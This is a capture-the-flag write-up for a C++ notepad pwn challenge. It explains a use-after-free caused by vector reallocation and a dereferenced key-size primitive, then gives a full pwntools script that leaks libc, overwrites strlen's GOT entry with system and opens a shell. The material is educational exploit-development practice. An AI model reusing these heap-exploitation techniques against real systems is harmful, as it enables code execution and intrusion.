Here's a cool notepad! We heard that Bjarne Stroustrup himself uses it to manage his notes. Does that make it... notepad++?
nc 35.205.119.236 1337
Author: mrtumble & nankeen
Solves: 10
The source code was provided, see here.
$ checksec --file ./notepad
[*]
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
The program essentially lets you create notes using a notepad. It has two classes:
-
A
Note
class, which is used to store a note. It has two private members: aname_
and acontent_
, both of which arestd::string
objects allocated on the heap. -
A
Notepad
class, which keeps track of notes. This has two private members too: anstd::vector<Note>
callednotes_
, and a raw pointer to aNote*
calledcurrentNote_
.
When using the program, a Notepad
object is created initially, and 5 slots are reserved within the notes_
vector. This is intended to store any notes that are created.
You then have the following functionality:
-
Create a note - the
name_
andcontent_
fields can be at most0x3ff
in size each. You cannot enter NULL bytes for them. -
Search for a note - if you enter a substring that matches an already created note's
name_
, then that corresponding note is set as theNotepad
object'scurrentNote_
. -
Manage note - This will open up a submenu to manage the
currentNote_
.- View note - prints out the
currentNote_
's contents by calling the virtual functioncurrentNote_->printContents()
. - Edit note - Creates new
std::string
objects for thename_
andcontent_
fields, and then replaces thecurrentNote_
's private members with the newly created strings. - Lock note - Takes a
key
(anstd::string
) and akey_size
. It then callscurrentNote_->lockNote(key.c_str(), *(size_t *)key_size)
, which is again a virtual function. - Back - go back to the main menu.
- View note - prints out the
Note how the call to lockNote
above dereferences the key_size
provided by the user. This seemed to be a hacky primitive that the authors implemented to make the challenge exploitable using a very specific method. Personally, I think this is a bad way to do this, because it forces players to figure out exactly how the author intends them to exploit the challenge, which kind of ruins the creative aspect of exploit development, but oh well.
There are three vulnerabilities present within the binary. The first two are easy to spot:
currentNote_
can be used uninitialized because there are no checks to ensure that it is set. This is a useless bug and just results in crashes.- The
key_size
is dereferenced whenlockNote
is called. PIE is disabled in this binary, so this lets you dereference any arbitrary memory address within the binary and send the value at that address as an argument. As you'll soon see, my exploit requires this exact primitive as I found no way to get an arbitrary read primitive.
The last vulnerability is a slightly more complex use after free. This bug is very often seen in real world software, and is one of the reasons raw pointers should never be used in C++ unless absolutely necessary. Reference counting would have saved the day here.
Remember that the Notepad
object reserves space for 5 notes initially. This begs the question: std::vector<T>
s are supposed to hold an arbitrary number of objects within them, so what happens if you create more notes than this vector can hold?
The answer is that the vector has a backing store, and when the space within this backing store is exhausted, any new objects added to the vector will cause the vector's backing store to get reallocated. When this happens, the previous backing store is immediately freed.
In our case, the Notepad
object has a raw pointer to a Note
that it marks as the currentNote_
. The simplest way to trigger the UAF is to do the following:
- Allocate 5 notes to fill up the
notes_
vector. - Use the "Search for a note" functionality to set
currentNote_
to an existing note. - Add a 6th note to reallocate the
notes_
vector's backing store. - Now,
currentNote_
still points to a note in the old backing store (which is now freed). Just use any of the "Manage note" submenu functions to trigger a UAF. IfcurrentNote_
points to the very first note, then the vtable pointer will be set to 0, so this will crash on a null pointer dereference.
I think the exploit script is commented pretty well, so I'll just briefly summarize how it works.
The initial size of the notes_
vector is 0x170
. Whenever it is reallocated, the size doubles. We need to reallocate the vector three times to have the backing store go into the unsorted bin.
The reason we need to allocate out of the unsorted bin is simple: we can't enter NULL bytes when creating the name_
or content_
for a new note. Why does this matter? Well, an std::string
object has 4 data fields (according to GDB at least). These are as follows:
- The
data
ptr - points to the actual string contents in memory - The size - stores the current size of the string
- The max length - stores the maximum length the string can grow before needing to be reallocated
- ???? - Some other value that is always equal to the size and max length, but idk what this is
Basically, the vector looks like this in memory:
+---------------------------+--------------------------+
| | |
Note 1 --> | Vtable Pointer | |name_| pointer |
| | |
+------------------------------------------------------+
| | |
| Size | Capacity |
| | |
+------------------------------------------------------+
| | |
| ???????? | |content_| pointer |
| | |
+------------------------------------------------------+
| | |
| Size | Capacity |
| | |
+------------------------------------------------------+
| | |
| ???????? | Vtable Pointer | <-- Note 2
| | |
+---------------------------+--------------------------+
| | |
| [.........] | [.........] |
| | |
+---------------------------+--------------------------+
Now, remember that pointers will always at least have the 2 most significant bytes set to 0. We want to have currentNote_
point to a freed backing store, but we also want to be able to allocate into this backing store and overwrite the currentNote_
's vtable pointer with a valid pointer. This isn't possible if the backing store is freed into a tcache bin, because then our string needs to be the same size as the freed chunk. Without being able to enter NULL bytes, we can't enter any valid addresses.
This problem however is solved if we can allocate out of the unsorted bin, since we can just allocate a string of a specific size, and it'll take out a part of the unsorted bin for us.
From here on out, the exploitation strategy I used is as follows:
- Create 20 notes. This will reallocate the
notes_
vector twice, and fill up the backing store completely. - Get a handle to the second note in the vector by searching for it.
currentNote_
now points to the second note. - Allocate one more note to reallocate the
notes_
vector's current backing store. The old backing store will be freed into the unsorted bin. - Allocate a new note. This reuses the memory freed by the
notes_
vector's previous backing store. Use this allocation to set the old 2nd note's vtable pointer tofgets@GOT - 0x18
. currentNote_
points to the old 2nd note. Now we calllockNote
. This will call a function pointer at*(vtable+0x18)
, so that's why we set the vtable tofgets@GOT - 0x18
.
Now, recall lockNote
's signature: virtual void lockNote(const char *key, size_t key_size)
. It is called with the key
and key_size
, where the key_size
is dereferenced:
void lockCurrentNote(std::string key, size_t key_size) {
currentNote_->lockNote(key.c_str(), *(size_t *)key_size);
}
This means that when we call fgets
, the first argument will be our currentNote_
object's address (i.e this
), the second argument will be the key
, and the third argument will be the value at the address specified by key_size
: char *fgets(char *s, int size, FILE *stream)
.
Knowing that a pointer to stdin
is stored in the .bss
section, my exploit calls fgets(currentNote_, 0x48, &stdin)
, where key
is just b"\x48"
, and key_size
is the address of the stdin
pointer. This now finally lets us enter NULL bytes.
Using this fgets
call, I restore the currentNote_
's vtable pointer to the original one, and set both the name_
and content_
pointers to point to strlen@GOT
. I also set the size, capacity, and the other field to 0x400
. After this, I view currentNote_
to leak strlen
's libc address.
When I was initially doing this, I was actually leaking fgets@GOT
instead of strlen@GOT
. While doing this, completely by accident, I found that after the libc leak, if I edited currentNote_
, then it would literally edit name_
and content_
in place. I was extremely surprised to see this, because the code shows that a new std::string
object is allocated for the new name_
and content_
, but somehow they are placed at the exact same location as the old name_
and content_
.
After I learned about this surprising functionality of editing the currentNote_
, I tried setting fgets@GOT
to all possible one gadgets, and that didn't work, so I ended up just leaking strlen@GOT
instead, and subsequently set strlen@GOT
to system@LIBC
. Then, making a call to strlen("/bin/sh")
(in the readLine()
function) will call system("/bin/sh")
and get me a shell.
#!/usr/bin/env python3
from pwn import *
elf = ELF("./notepad")
libc = ELF("./libc.so.6")
p = process("./notepad")
#p = remote("35.205.119.236", 1337)
def add_note(name, content):
p.sendlineafter("> ", "1")
p.sendlineafter("Name: \n", name)
p.sendlineafter("Content: \n", content)
def find_note(name):
p.sendlineafter("> ", "2")
p.sendlineafter("term: \n", str(name))
def handle_note():
p.sendlineafter("> ", "3")
def main_menu():
p.sendlineafter("> ", "4")
def edit_note(name, content):
p.sendlineafter("> ", "2")
p.sendlineafter("Name: \n", name)
p.sendlineafter("Content: \n", content)
def lock_note(key, keysize):
p.sendlineafter("> ", "3")
p.sendlineafter("Key: \n", str(key))
p.sendlineafter("Key size: \n", str(keysize))
def view_note():
p.sendlineafter("> ", "1")
# Create 20 notes, we want a handle to the first few notes so make them unique
add_note("A"*0x100, "A"*0x100)
add_note("B"*0x100, "B"*0x100)
add_note("C"*0x100, "C"*0x100)
add_note("D"*0x100, "D"*0x100)
add_note("E"*0x100, "E"*0x100)
add_note("F"*0x100, "F"*0x100)
for i in range(14):
add_note("G"*0x100, "G"*0x100)
# Get a pointer to the 2nd note
find_note("B"*0x100)
# Add a 21st note, this will free the vector backing store
add_note("L"*0x100, "L"*0x100)
# We still have a pointer to the old 2nd note, so now we just set the 2nd
# note's ptr's vtable so we can call fgets with |lockNote|. |lockNote| is at
# vtable+0x18, and |fgets@GOT| is at 0x409170
add_note(b"Z"*0x18 + b"\x58\x91\x40", "B"*0x100)
# Clear unsorted bin, otherwise we will be overwriting the fd and bk ptrs
# when we call |fgets|, which will cause malloc errors later on
add_note(b"D"*0x2f0, "B"*0x240)
# Read in 0x48 bytes with the fgets by calling |lockNote|. This will overwrite
# that old 2nd note.
#
# fgets(currentNote_, 0x48, 0x409210)
handle_note()
lock_note(b"\x48", 0x409210)
note_vtable = 0x0000000000408dc0
fgets_got = elf.got["fgets"]
strlen_got = elf.got["strlen"]
# With the overwrite, I restore the original vtable, and set both the |name_|
# and |content_| pointers to point to strlen@GOT
payload = p64(note_vtable)
payload += p64(strlen_got) + p64(0x400)*3
payload += p64(strlen_got) + p64(0x400)*3
p.sendline(payload)
# Viewing the note will print out strlen's libc address from strlen@GOT
view_note()
# Parse the leak
for i in range(3):
p.recvline()
p.recvuntil("| ")
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = leak - 0x18b660
log.info("Libc leak: " + hex(leak))
log.info("Libc base: " + hex(libc.address))
# Now since both the |name_| and |content_| fields point to strlen@GOT, we just
# edit and set them both to system. This will basically free the old name and
# content and put &system in both of them, and since both of them point to
# strlen@GOT, it will overwrite strlen@GOT with system@LIBC
edit_note(p64(libc.sym["system"]), p64(libc.sym["system"]))
# Just trigger strlen("/bin/sh") to call system("/bin/sh")
p.sendlineafter("> ", "2")
p.sendlineafter("Name: \n", "/bin/sh")
p.interactive()